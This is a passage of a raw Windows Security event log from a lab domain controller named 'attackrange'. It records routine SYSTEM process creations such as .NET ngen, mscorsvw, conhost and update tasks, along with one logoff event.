Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254220
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb28
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x105c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngentask.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe" RemoveTaskDelayStartTrigger /LegacyServiceBehavior

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254219
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbf0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10b0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254218
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9ec
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x105c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngentask.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254217
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x105c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngentask.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x358
	Creator Process Name:	C:\Windows\System32\taskhostw.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\NGenTask.exe" /RuntimeWide /StopEvent:876

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254216
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10b0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x358
	Creator Process Name:	C:\Windows\System32\taskhostw.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\NGenTask.exe" /RuntimeWide /StopEvent:780

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254215
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5b8
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1310
	Creator Process Name:	C:\Windows\System32\XblGameSaveTask.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254214
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1310
	New Process Name:	C:\Windows\System32\XblGameSaveTask.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\System32\XblGameSaveTask.exe standby

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254213
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Process Information:
	New Process ID:		0x10cc
	New Process Name:	C:\Windows\System32\Speech_OneCore\Common\SpeechModelDownload.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\speech_onecore\common\SpeechModelDownload.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254212
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x124c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10bc
	Creator Process Name:	C:\Windows\System32\UsoClient.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254211
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10bc
	New Process Name:	C:\Windows\System32\UsoClient.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\usoclient.exe RefreshSettings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254210
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x358
	New Process Name:	C:\Windows\System32\taskhostw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	taskhostw.exe /RuntimeWide

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254223
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xff0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10b0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe" ExecuteQueuedItems /LegacyServiceBehavior

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254222
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc58
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10b0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe" RemoveTaskDelayStartTrigger /LegacyServiceBehavior

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254224
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC823F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:01:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254227
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12bc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 220 -InterruptEvent 0 -NGENProcess 200 -Pipe 224 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254226
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1168
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 200 -InterruptEvent 0 -NGENProcess 15c -Pipe 138 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254225
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd34
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 138 -InterruptEvent 0 -NGENProcess 15c -Pipe 140 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:46 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254228
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd8c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 25c -InterruptEvent 0 -NGENProcess 250 -Pipe 258 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254229
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x102c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 23c -InterruptEvent 0 -NGENProcess 15c -Pipe 260 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:53 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254231
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8b8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
